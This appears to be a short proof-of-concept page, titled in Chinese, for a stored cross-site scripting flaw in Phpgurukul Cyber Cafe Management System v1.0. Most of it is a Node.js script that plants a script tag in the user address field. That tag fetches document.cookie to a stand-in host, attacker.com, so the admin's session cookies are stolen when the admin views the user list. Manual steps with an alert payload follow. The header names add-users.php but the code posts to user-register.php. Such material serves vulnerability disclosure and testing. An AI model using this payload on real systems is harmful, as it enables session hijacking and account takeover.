CVE-2025-70891 Phpgurukul Cyber Cafe Management System v1.0 存储型XSS漏洞

// CVE-2025-70891 Stored XSS PoC // Target: Phpgurukul Cyber Cafe Management System v1.0 // Endpoint: add-users.php (uadd parameter) const axios = require('axios'); const qs = require('querystring'); async function exploit(targetUrl, sessionCookie) { const addUserEndpoint = `${targetUrl}/admin/user-register.php`; const viewUsersEndpoint = `${targetUrl}/admin/view-allusers.php`; // Malicious XSS payload const xssPayload = '<script>fetch("https://attacker.com/steal?c="+document.cookie)</script>'; // Step 1: Add user with XSS payload in uadd parameter const addUserData = { username: 'testuser' + Date.now(), email: '[email protected]', mobile: '1234567890', uadd: xssPayload, // XSS injection point password: 'password123', submit: 'submit' }; try { // Send request to add user with malicious address await axios.post(addUserEndpoint, qs.stringify(addUserData), { headers: { 'Cookie': sessionCookie, 'Content-Type': 'application/x-www-form-urlencoded' } }); console.log('[+] User added with XSS payload'); console.log('[+] Payload stored in database'); console.log('[+] Waiting for admin to view user list...'); // Step 2: When admin visits view-allusers.php and clicks View, // the XSS payload will be executed } catch (error) { console.error('[-] Exploitation failed:', error.message); } } // Usage // exploit('http://target.com', 'PHPSESSID=your_session_cookie'); // Manual PoC: // 1. Login to the application // 2. Navigate to user registration (add-users.php) // 3. Enter XSS payload in address field (uadd parameter): <script>alert(document.cookie)</script> // 4. Submit the form // 5. When admin views user list and clicks View, XSS executes